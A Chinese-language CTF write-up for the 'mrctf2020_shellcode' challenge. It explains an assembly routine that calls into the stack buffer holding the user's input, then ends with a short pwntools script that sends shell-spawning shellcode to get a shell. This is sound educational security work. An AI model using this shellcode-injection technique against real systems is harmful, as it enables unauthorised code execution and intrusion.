# 1. 查看程序信息
64 位程序,发现开启了 PIE
利用 ida 查看一下
发现转 c 语言失败,那就分析汇编
可以看到 buf 有 0x410 的大小,而输入只有 0x400,无法溢出
# 2. 分析汇编
这里解释汇编代码的含义
首先要了解 jg
命令的含义
jg:比较结果是">"则跳转,所以我们需要查看前面的 cmp的比较结果
read 函数的返回值是输入值的大小并且会保存到 eax 中
输入 shellcode 后会满足长度判断,使跳转到 loc_11D6
LEA 指令的作用是取 opera2 的地址,然后把这个地址赋给 opera1
lea rax ,[rbp+buf] //LEA指令此处取 栈顶(rbp+buf) 的地址 ,来给rax
call 指令会进行跳转,意味着就跳转到栈顶然后执行
这就很明了了,我们直接输入 shellcode
然后长度可以进行跳转,并且 call
又会去再 shellcode
起始处,也就是栈顶执行我们输入的 shellcode
, 这样就直接获得 shell 了
# exp:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=process('./mrctf2020_shellcode') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("magic!\n") | |
p.sendline(shellcode) | |
p.interactive() |
直接打通本地
远程